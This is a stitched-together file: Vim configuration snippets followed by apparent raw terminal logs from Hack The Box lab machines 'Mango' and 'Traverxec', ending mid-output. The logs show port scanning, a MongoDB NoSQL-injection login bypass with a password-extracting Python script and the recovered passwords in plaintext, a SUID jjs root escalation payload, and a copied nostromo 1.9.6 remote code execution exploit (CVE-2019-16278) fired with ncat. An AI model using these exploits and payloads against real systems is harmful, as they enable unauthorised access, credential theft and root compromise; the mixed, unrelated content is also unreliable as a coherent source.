syntax on
set encoding=utf-8
set cursorline
set shiftwidth=4
set tabstop=4
set number relativenumber

set background=dark
set t_Co=256
colorscheme dracula

set nocompatible
filetype plugin indent on

set splitbelow
set splitright

call plug#begin('~/.vim/plugins')
  Plug 'neoclide/coc.nvim', {'branch': 'release'}

  Plug 'hashivim/vim-terraform'
  let g:terraform_fmt_on_save=1
  let g:terraform_align=1
call plug#end()

{
        "languageserver": {
                "terraform": {
                        "command": "terraform-ls",
                        "args": ["serve"],
                        "filetypes": [
                                "terraform",
                                "tf"
                        ],
                        "initializationOptions": {},
                        "settings": {}
                }
        }
}

call plug#begin('~/.vim/plugins')
	Plug 'godlygeek/tabular'
	Plug 'elzr/vim-json'
	Plug 'tpope/vim-markdown'
	Plug 'dracula/vim', { 'as': 'dracula' }
	Plug 'junegunn/fzf'
	Plug 'jeffkreeftmeijer/vim-numbertoggle'
	Plug 'leafgarland/typescript-vim'
	Plug 'ianks/vim-tsx'
	Plug 'neoclide/coc.nvim', {'branch': 'release'}
	let g:coc_global_extensions = ['coc-json', 'coc-tsserver', 'coc-python', 'coc-tslint', 'coc-prettier', 'coc-emmet', 'coc-yaml', 'coc-docker']

	Plug 'hashivim/vim-terraform'
	let g:terraform_fmt_on_save=1
	let g:terraform_align=1

	Plug 'itchyny/lightline.vim'
	Plug 'mhinz/vim-signify'
	Plug 'sheerun/vim-polyglot'

	Plug 'preservim/nerdtree'
	Plug 'Xuyuanp/nerdtree-git-plugin'
	Plug 'ryanoasis/vim-devicons'

	Plug 'dpelle/vim-LanguageTool'
	Plug 'rhysd/vim-grammarous'
	Plug 'junegunn/limelight.vim'

call plug#end()

syntax on
set encoding=utf-8
set cursorline
set shiftwidth=4
set tabstop=4
set number relativenumber

set background=dark
set t_Co=256
colorscheme dracula

set nocompatible
filetype plugin indent on

set splitbelow
set splitright

inoremap <silent><expr> <c-space> coc#refresh()
nnoremap ñ :NERDTreeToggle<CR>

" remember last position jump
autocmd BufReadPost * if @% !~# '\.git[\/\\]COMMIT_EDITMSG$' && line("'\"") > 1 && line("'\"") <= line("$") | exe "normal! g`\"" | endif

map <F6> :setlocal spell! spelllang=es_mx<CR>

root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.162 | tee /home/tony/htb/mango/masscan.log
Discovered open port 22/tcp on 10.10.10.162                                    
Discovered open port 80/tcp on 10.10.10.162                                    
Discovered open port 443/tcp on 10.10.10.162                                   

root@laptop:~# nmap -sS -sV -sC -p $(cat /home/tony/htb/mango/masscan.log | cut -d' ' -f4 | sed 's/\/tcp.*//' | tr '\n' ',') -n --open -v 10.10.10.162 -oN /home/tony/htb/mango/service.nmap
# Nmap 7.80 scan initiated Thu Mar 26 15:24:16 2020 as: nmap -sS -sV -sC -p 22,80,443, -n --open -v -oN /home/tony/htb/mango/service.nmap 10.10.10.162
Nmap scan report for 10.10.10.162
Host is up (0.095s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Issuer: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-09-27T14:21:19
| Not valid after:  2020-09-26T14:21:19
| MD5:   b797 d14d 485f eac3 5cc6 2fed bb7a 2ce6
|_SHA-1: b329 9eca 2892 af1b 5895 053b f30e 861f 1c03 db95
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 26 15:24:35 2020 -- 1 IP address (1 host up) scanned in 19.04 seconds

tony@laptop:~/htb/mango$ http 10.10.10.162
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.10.162 Port 80</address>
</body></html>

tony@laptop:~/htb/mango$ dirsearch http://10.10.10.162
 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: php, txt, html | HTTP method: get | Threads: 50 | Wordlist size: 6733

Error Log: /home/tony/git/dirsearch/logs/errors-20-03-27_18-54-26.log

Target: http://10.10.10.162

[18:54:26] Starting:
[18:55:12] 403 -  277B  - /server-status
[18:55:12] 403 -  277B  - /server-status/

Task Completed

tony@laptop:~/htb/mango$ testssl 10.10.10.162
 Testing server defaults (Server Hello)

 TLS extensions (standard)    "renegotiation info/#65281" "EC point formats/#11" "session ticket/#35" "max fragment length/#1"
                              "application layer protocol negotiation/#16" "encrypt-then-mac/#22" "extended master secret/#23"
 Session Ticket RFC 5077 hint 300 seconds, session tickets keys seems to be rotated < daily
 SSL Session ID support       yes
 Session Resumption           Tickets: yes, ID: yes
 TLS clock skew               Random values, no fingerprinting possible
 Signature Algorithm          SHA256 with RSA
 Server key size              RSA 2048 bits
 Server key usage             --
 Server extended key usage    --
 Serial / Fingerprints        AE508929A806F132 / SHA1 B3299ECA2892AF1B5895053BF30E861F1C03DB95
                              SHA256 650052B67923042DC2C9FCA71D4430873615850CE4D41E15A4BD7F5CFB57AA58
 Common Name (CN)             staging-order.mango.htb
 subjectAltName (SAN)         missing (NOT ok) -- Browsers are complaining
 Issuer                       staging-order.mango.htb (Mango Prv Ltd. from IN)
 Trust (hostname)             certificate does not match supplied URI
 Chain of trust               NOT ok (self signed)
 EV cert (experimental)       no
 ETS/"eTLS", visibility info  not present
 Certificate Validity (UTC)   182 >= 60 days (2019-09-27 09:21 --> 2020-09-26 09:21)
 # of certificates provided   1
 Certificate Revocation List  --
 OCSP URI                     --
                              NOT ok -- neither CRL nor OCSP URI provided
 OCSP stapling                not offered
 OCSP must staple extension   --
 DNS CAA RR (experimental)    not offered
 Certificate Transparency     --

tony@laptop:~/htb/mango$ http http://10.10.10.162 "Host:staging-order.mango.htb"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<link rel="mask-icon" type="" href="https://static.codepen.io/assets/favicon/logo-pin-8f3771b1072e3c38bd662872f6b673a722f4b3ca2421637d5596661b4e2132cc.svg" color="#111" />
<title>Mango | Sweet & Juicy</title>
<style>
* {
  box-sizing: border-box;
}

body {
  font-family: 'Rubik', sans-serif;
  margin: 0;
  padding: 0;
}

.container {
  display: flex;
  height: 100vh;
}

.left-section {
  overflow: hidden;
  display: flex;
  flex-wrap: wrap;
  flex-direction: column;
  justify-content: center;
  -webkit-animation-name: left-section;
  animation-name: left-section;
  -webkit-animation-duration: 1s;
  animation-duration: 1s;
  -webkit-animation-fill-mode: both;
  animation-fill-mode: both;
  -webkit-animation-delay: 1s;
  animation-delay: 1s;
}

.right-section {
  flex: 1;
  background: linear-gradient(to right, #f50629 0%, #fd9d08 100%);
  transition: 1s;
  background-image: url(/mango.jpg);
  background-size: cover;
  background-repeat: no-repeat;
  background-position: center;
}

.header > h1 {
  margin: 0;
  color: #f50629;
}

.header > h4 {
  margin-top: 10px;
  font-weight: normal;
  font-size: 15px;
  color: rgba(0, 0, 0, 0.4);
}

.form {
  max-width: 80%;
  display: flex;
  flex-direction: column;
}

.form > p {
  text-align: right;
}

.form > p > a {
  color: #000;
  font-size: 14px;
}

.form-field {
  height: 46px;
  padding: 0 16px;
  border: 2px solid #ddd;
  border-radius: 4px;
  font-family: 'Rubik', sans-serif;
  outline: 0;
  transition: .2s;
  margin-top: 20px;
}

.form-field:focus {
  border-color: #0f7ef1;
}

.form > button {
  padding: 12px 10px;
  border: 0;
  background: linear-gradient(to right, #f50629 0%, #fd9d08 100%);
  border-radius: 3px;
  margin-top: 10px;
  color: #fff;
  letter-spacing: 1px;
  font-family: 'Rubik', sans-serif;
}

.animation {
  -webkit-animation-name: move;
  animation-name: move;
  -webkit-animation-duration: .4s;
  animation-duration: .4s;
  -webkit-animation-fill-mode: both;
  animation-fill-mode: both;
  -webkit-animation-delay: 2s;
  animation-delay: 2s;
}

.a1 {
  -webkit-animation-delay: 2s;
  animation-delay: 2s;
}

.a2 {
  -webkit-animation-delay: 2.1s;
  animation-delay: 2.1s;
}

.a3 {
  -webkit-animation-delay: 2.2s;
  animation-delay: 2.2s;
}

.a4 {
  -webkit-animation-delay: 2.3s;
  animation-delay: 2.3s;
}

.a5 {
  -webkit-animation-delay: 2.4s;
  animation-delay: 2.4s;
}

.a6 {
  -webkit-animation-delay: 2.5s;
  animation-delay: 2.5s;
}

@keyframes move {
  0% {
    opacity: 0;
    visibility: hidden;
    -webkit-transform: translateY(-40px);
    transform: translateY(-40px);
  }
  100% {
    opacity: 1;
    visibility: visible;
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }
}
@keyframes left-section {
  0% {
    opacity: 0;
    width: 0;
  }
  100% {
    opacity: 1;
    padding: 20px 40px;
    width: 440px;
  }
}

  </style>
<script>
  window.console = window.console || function(t) {};
</script>
<script>
  if (document.location.search.match(/type=embed/gi)) {
    window.parent.postMessage("resize", "*");
  }
</script>
</head>
<body translate="no">
<!DOCTYPE html>

<html lang="en">
<head>
<meta charset="UTF-8">
<link href="https://fonts.googleapis.com/css?family=Rubik&display=swap" rel="stylesheet">
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="container">
<div class="left-section">
<div class="header">
<h1 class="animation a1">Welcome Back!</h1>
<h4 class="animation a2">Log in for ordering Sweet & Juicy Mango.</h4>
</div>
<form action="" method="POST">
<div class="form">
<input type="username" name="username" class="form-field animation a3" placeholder="Username">
<input type="password" name="password" class="form-field animation a4" placeholder="Password">
<p class="animation a5"><a href="#">Forgot Password</a></p>
<button class="animation a6" value="login" name="login">LOGIN</button>
</form>
</div>
</div>
<div class="right-section"></div>
</div>
</body>
</html>
</body>
</html>

tony@laptop:~/htb/mango$ dirsearch http://staging-order.mango.htb

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: php, txt, html | HTTP method: get | Threads: 50 | Wordlist size: 6733

Error Log: /home/tony/git/dirsearch/logs/errors-20-04-02_23-54-40.log

Target: http://staging-order.mango.htb

[23:54:40] Starting:
[23:54:50] 302 -    0B  - /home.php  ->  index.php
[23:54:50] 200 -    4KB - /index.php
[23:54:50] 200 -    4KB - /index.php/login/
[23:54:55] 403 -  288B  - /server-status
[23:54:55] 403 -  288B  - /server-status/
[23:54:57] 200 -    0B  - /vendor/autoload.php
[23:54:57] 200 -    0B  - /vendor/composer/autoload_files.php
[23:54:57] 200 -    0B  - /vendor/composer/autoload_namespaces.php
[23:54:57] 200 -    0B  - /vendor/composer/autoload_classmap.php
[23:54:57] 200 -    0B  - /vendor/composer/autoload_psr4.php
[23:54:57] 200 -    0B  - /vendor/composer/ClassLoader.php
[23:54:57] 200 -    0B  - /vendor/composer/autoload_real.php
[23:54:57] 200 -    4KB - /vendor/composer/installed.json
[23:54:57] 200 -    0B  - /vendor/composer/autoload_static.php
[23:54:57] 200 -    3KB - /vendor/composer/LICENSE

tony@laptop:~/htb/mango$ http http://staging-order.mango.htb/vendor/composer/installed.json
HTTP/1.1 200 OK
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Length: 3953
Content-Type: application/json
Date: Fri, 03 Apr 2020 05:57:05 GMT
ETag: "f71-5938a794b5495"
Keep-Alive: timeout=5, max=100
Last-Modified: Fri, 27 Sep 2019 15:23:53 GMT
Server: Apache/2.4.29 (Ubuntu)

[
    {
        "authors": [
            {
                "email": "alcaeus@alcaeus.org",
                "name": "alcaeus"
            },
            {
                "email": "olivier.lechevalier@gmail.com",
                "name": "Olivier Lechevalier"
            }
        ],
        "autoload": {
            "files": [
                "lib/Mongo/functions.php"
            ],
            "psr-0": {
                "Mongo": "lib/Mongo"
            },
            "psr-4": {
                "Alcaeus\\MongoDbAdapter\\": "lib/Alcaeus/MongoDbAdapter"
            }
        },
        "description": "Adapter to provide ext-mongo interface on top of mongo
        "dist": {
            "reference": "93b81ebef1b3a4d3ceb72f13a35057fe08a5048f",
            "shasum": "",
            "type": "zip",
            "url": "https://api.github.com/repos/alcaeus/mongo-php-adapter/zip
        },
        "extra": {
            "branch-alias": {
                "dev-master": "1.1.x-dev"
            }
        },
        "installation-source": "dist",
        "keywords": [
            "database",
            "mongodb"
        ],
        "license": [
            "MIT"
        ],
        "name": "alcaeus/mongo-php-adapter",
        "notification-url": "https://packagist.org/downloads/",
        "provide": {
            "ext-mongo": "1.6.14"
        },
        "require": {
            "ext-ctype": "*",
            "ext-hash": "*",
            "ext-mongodb": "^1.2.0",
            "mongodb/mongodb": "^1.0.1",
            "php": "^5.6 || ^7.0"
        },
        "require-dev": {
            "phpunit/phpunit": "^5.7.27 || ^6.0 || ^7.0",
            "squizlabs/php_codesniffer": "^3.2"
        },
        "source": {
            "reference": "93b81ebef1b3a4d3ceb72f13a35057fe08a5048f",
            "type": "git",
            "url": "https://github.com/alcaeus/mongo-php-adapter.git"
        },
        "time": "2019-08-07T05:52:28+00:00",
        "type": "library",
        "version": "1.1.9",
        "version_normalized": "1.1.9.0"
    },
    {
        "authors": [
            {
                "email": "jmikola@gmail.com",
                "name": "Jeremy Mikola"
            },
            {
                "email": "bjori@mongodb.com",
                "name": "Hannes Magnusson"
            },
            {
                "email": "github@derickrethans.nl",
                "name": "Derick Rethans"
            }
        ],
        "autoload": {
            "files": [
                "src/functions.php"
            ],
            "psr-4": {
                "MongoDB\\": "src/"
            }
        },
        "description": "MongoDB driver library",
        "dist": {
            "reference": "5cffeb33b893b6bb04195b99ddc3955a29252339",
            "shasum": "",
            "type": "zip",
            "url": "https://api.github.com/repos/mongodb/mongo-php-library/zip
        },
        "homepage": "https://jira.mongodb.org/browse/PHPLIB",
        "installation-source": "dist",
        "keywords": [
            "database",
            "driver",
            "mongodb",
            "persistence"
        ],
        "license": [
            "Apache-2.0"
        ],
        "name": "mongodb/mongodb",
        "notification-url": "https://packagist.org/downloads/",
        "require": {
            "ext-hash": "*",
            "ext-json": "*",
            "ext-mongodb": "^1.3.0",
            "php": ">=5.5"
        },
        "require-dev": {
            "phpunit/phpunit": "^4.8"
        },
        "source": {
            "reference": "5cffeb33b893b6bb04195b99ddc3955a29252339",
            "type": "git",
            "url": "https://github.com/mongodb/mongo-php-library.git"
        },
        "time": "2017-10-27T19:42:57+00:00",
        "type": "library",
        "version": "1.2.0",
        "version_normalized": "1.2.0.0"
    }
]

tony@laptop:~/htb/mango$ http -f --proxy http:http://127.0.0.1:8080  POST http://staging-order.mango.htb/index.php 'username[$ne]=miau' 'password[$ne]=miau' login=login
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate
Connection: close
Content-Length: 4022
Content-Type: text/html; charset=UTF-8
Date: Fri, 03 Apr 2020 05:41:25 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=ju8qscanv6umtk7mqhu7m4ekd8; path=/
location: home.php

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

password=""
u="http://staging-order.mango.htb/index.php"
headers = {'application' : 'x-www-form-urlencoded'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload={'username[$eq]':'admin', 'password[$regex]': '^%s' %(password + c), 'login': 'login' }
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c

tony@laptop:~/htb/mango$ python discover_admin.py
Found one more char : t
Found one more char : t9
Found one more char : t9K
Found one more char : t9Kc
Found one more char : t9KcS
Found one more char : t9KcS3
Found one more char : t9KcS3>
Found one more char : t9KcS3>!
Found one more char : t9KcS3>!0
Found one more char : t9KcS3>!0B
Found one more char : t9KcS3>!0B#
Found one more char : t9KcS3>!0B#2
Found one more char : t9KcS3>!0B#2$
Found one more char : t9KcS3>!0B#2$$
Found one more char : t9KcS3>!0B#2$$$
Found one more char : t9KcS3>!0B#2$$$$
Found one more char : t9KcS3>!0B#2$$$$$
Found one more char : t9KcS3>!0B#2$$$$$$

tony@laptop:~/htb/mango$ http --header -f --proxy http:http://127.0.0.1:8080  POST http://staging-order.mango.htb/index.php 'username=admin' 'password=t9KcS3>!0B#2' login=login
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate
Connection: close
Content-Length: 4022
Content-Type: text/html; charset=UTF-8
Date: Fri, 03 Apr 2020 06:04:42 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=8mv78eer1d1dp7u84acl3ncscj; path=/
location: home.php

tony@laptop:~/htb/mango$ (cewl http://staging-order.mango.htb; cewl http://staging-order.mango.htb | tr '[:upper:]' '[:lower:]' ; cewl http://staging-order.mango.htb | tr '[:lower:]' '[:upper:]')  | grep -vi ninja | tee dict1.txt
Mango
Sweet
Juicy
Welcome
Back
Log
for
ordering
Forgot
Password
LOGIN
mango
sweet
juicy
welcome
back
log
for
ordering
forgot
password
login
MANGO
SWEET
JUICY
WELCOME
BACK
LOG
FOR
ORDERING
FORGOT
PASSWORD
LOGIN

tony@laptop:~/htb/mango$ wfuzz -w dict1.txt --sc 302 -d 'username%5B%24eq%5D=FUZZ&password%5B%24gt%5D=1&login=login' http://staging-order.mango.htb/index.php

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://staging-order.mango.htb/index.php
Total requests: 33

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000012:   302        209 L    403 W    4022 Ch     "mango"

Total time: 0.520117
Processed Requests: 33
Filtered Requests: 32
Requests/sec.: 63.44717

tony@laptop:~/htb/mango$ wfuzz -w ~/git/SecLists/Usernames/xato-net-10-million-usernames.txt --sc 302 -d 'username%5B%24eq%5D=FUZZ&password%5B%24gt%5D=1&login=login' http://staging-order.mango.htb/index.php

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://staging-order.mango.htb/index.php
Total requests: 8295455

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000002:   302        209 L    403 W    4022 Ch     "admin"
000003736:   302        209 L    403 W    4022 Ch     "mango"
^C
Finishing pending requests...

tony@laptop:~/htb/mango$ python discover_mango.py
Found one more char : h
Found one more char : h3
Found one more char : h3m
Found one more char : h3mX
Found one more char : h3mXK
Found one more char : h3mXK8
Found one more char : h3mXK8R
Found one more char : h3mXK8Rh
Found one more char : h3mXK8RhU
Found one more char : h3mXK8RhU~
Found one more char : h3mXK8RhU~f
Found one more char : h3mXK8RhU~f{
Found one more char : h3mXK8RhU~f{]
Found one more char : h3mXK8RhU~f{]f
Found one more char : h3mXK8RhU~f{]f5
Found one more char : h3mXK8RhU~f{]f5H
Found one more char : h3mXK8RhU~f{]f5H$
Found one more char : h3mXK8RhU~f{]f5H$$
Found one more char : h3mXK8RhU~f{]f5H$$$

tony@laptop:~$ ssh mango@10.10.10.162
mango@10.10.10.162's password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Apr  3 06:26:43 UTC 2020

  System load:  0.82               Processes:            115
  Usage of /:   26.0% of 19.56GB   Users logged in:      1
  Memory usage: 29%                IP address for ens33: 10.10.10.162
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Apr  3 06:17:46 2020 from 10.10.14.3
mango@mango:~$ id
uid=1000(mango) gid=1000(mango) groups=1000(mango)

mango@mango:~$ tail /etc/passwd
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mango:x:1000:1000:mango:/home/mango:/bin/bash
admin:x:4000000000:1001:,,,:/home/admin/:/bin/sh
mongodb:x:111:65534::/home/mongodb:/usr/sbin/nologin

mango@mango:~$ cat /etc/ssh/sshd_config  | grep -vE '^#|^$'
PermitRootLogin yes
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem sftp  /usr/lib/openssh/sftp-server
PasswordAuthentication yes
AllowUsers mango root

mango@mango:~$ su - admin
Password:
$
$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
$ bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@mango:/home/admin$

admin@mango:/home/admin$ cat user.txt
<omitido>

admin@mango:/home/admin$ find /usr -user admin -type f 2>/dev/null
admin@mango:/home/admin$ find /usr -group admin -type f 2>/dev/null
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
admin@mango:/home/admin$ ls -lah /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
-rwsr-sr-- 1 root admin 11K Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

https://gtfobins.github.io/gtfobins/jjs/#suid

Java.type('java.lang.Runtime')
  .getRuntime()
    .exec('/bin/bash -pc $@|bash${IFS}-p _ echo bash -p <$(tty) >$(tty) 2>$(tty)')
      .waitFor()

admin@mango:/home/admin$ echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/bash -pc \$@|bash\${IFS}-p _ echo bash -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('/bin/bash -pc $@|bash${IFS}-p _ echo bash -p </dev/pts/0 >/dev/pts/0 2>/dev/pts/0').waitFor()
bash-4.4# uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
bash-4.4# bash-4.4# bash-4.4# reset

Interrupt set to control-C (^C).
bash-4.4# ls
user.txt
bash-4.4# id
uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)

bash-4.4# cat /root/root.txt
<omitido>

root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.165 | tee /home/tony/htb/traverxec/masscan.log

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-03-21 03:49:45 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131072 ports/host]
Discovered open port 22/tcp on 10.10.10.165
Discovered open port 80/tcp on 10.10.10.165

root@laptop:~# nmap -sS -sV -sC -p 22,80 -n --open -v 10.10.10.165 -oN /home/tony/htb/traverxec/services.nmap
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-20 21:56 CST
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 21:56
Completed NSE at 21:56, 0.00s elapsed
Initiating NSE at 21:56
Completed NSE at 21:56, 0.00s elapsed
Initiating NSE at 21:56
Completed NSE at 21:56, 0.00s elapsed
Initiating Ping Scan at 21:56
Scanning 10.10.10.165 [4 ports]
Completed Ping Scan at 21:56, 0.19s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 21:56
Scanning 10.10.10.165 [2 ports]
Discovered open port 22/tcp on 10.10.10.165
Discovered open port 80/tcp on 10.10.10.165
Completed SYN Stealth Scan at 21:56, 0.18s elapsed (2 total ports)
Initiating Service scan at 21:56
Scanning 2 services on 10.10.10.165
Completed Service scan at 21:56, 6.29s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.165.
Initiating NSE at 21:56
Completed NSE at 21:56, 4.00s elapsed
Initiating NSE at 21:56
Completed NSE at 21:56, 0.51s elapsed
Initiating NSE at 21:56
Completed NSE at 21:56, 0.00s elapsed
Nmap scan report for 10.10.10.165
Host is up (0.13s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 21:56
Completed NSE at 21:56, 0.00s elapsed
Initiating NSE at 21:56
Completed NSE at 21:56, 0.00s elapsed
Initiating NSE at 21:56
Completed NSE at 21:56, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.79 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

tony@laptop:~/htb/traverxec$ searchsploit nostromo
-------------------------------------------------------------------- -----------------------------------
 Exploit Title                                                      |  Path
-------------------------------------------------------------------- -----------------------------------
Nostromo - Directory Traversal Remote Command Execution (Metasploit | exploits/multiple/remote/47573.rb
nostromo 1.9.6 - Remote Code Execution                              | exploits/multiple/remote/47837.py
nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Executio | exploits/linux/remote/35466.sh
-------------------------------------------------------------------- -----------------------------------
Shellcodes: No Result

tony@laptop:~/htb/traverxec$ searchsploit -m exploits/multiple/remote/47837.py
  Exploit: nostromo 1.9.6 - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/47837
     Path: /home/tony/git/exploitdb/exploits/multiple/remote/47837.py
File Type: Python script, ASCII text executable, with CRLF line terminators

Copied to: /home/tony/htb/traverxec/47837.py

# Exploit Title: nostromo 1.9.6 - Remote Code Execution
# Date: 2019-12-31
# Exploit Author: Kr0ff
# Vendor Homepage:
# Software Link: http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz
# Version: 1.9.6
# Tested on: Debian
# CVE : CVE-2019-16278

cve2019_16278.py

#!/usr/bin/env python

import sys
import socket

art = """

                                        _____-2019-16278
        _____  _______    ______   _____\    \
   _____\    \_\      |  |      | /    / |    |
  /     /|     ||     /  /     /|/    /  /___/|
 /     / /____/||\    \  \    |/|    |__ |___|/
|     | |____|/ \ \    \ |    | |       \
|     |  _____   \|     \|    | |     __/ __
|\     \|\    \   |\         /| |\    \  /  \
| \_____\|    |   | \_______/ | | \____\/    |
| |     /____/|    \ |     | /  | |    |____/|
 \|_____|    ||     \|_____|/    \|____|   | |
        |____|/                        |___|/



"""

help_menu = '\r\nUsage: cve2019-16278.py <Target_IP> <Target_Port> <Command>'

def connect(soc):
    response = ""
    try:
        while True:
            connection = soc.recv(1024)
            if len(connection) == 0:
                break
            response += connection
    except:
        pass
    return response

def cve(target, port, cmd):
    soc = socket.socket()
    soc.connect((target, int(port)))
    payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1'.format(cmd)
    soc.send(payload)
    receive = connect(soc)
    print(receive)

if __name__ == "__main__":

    print(art)

    try:
        target = sys.argv[1]
        port = sys.argv[2]
        cmd = sys.argv[3]

        cve(target, port, cmd)

    except IndexError:
        print(help_menu)

tony@laptop:~/htb/traverxec$ echo -e $"POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\nHost: 10.10.10.165Content-Length: 1\r\n\r\necho\necho\nid 2&>1\n" | ncat -vn 10.10.10.165 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Connected to 10.10.10.165:80.
HTTP/1.1 200 OK
Date: Sun, 12 Apr 2020 21:09:45 GMT
Server: nostromo 1.9.6
Connection: close


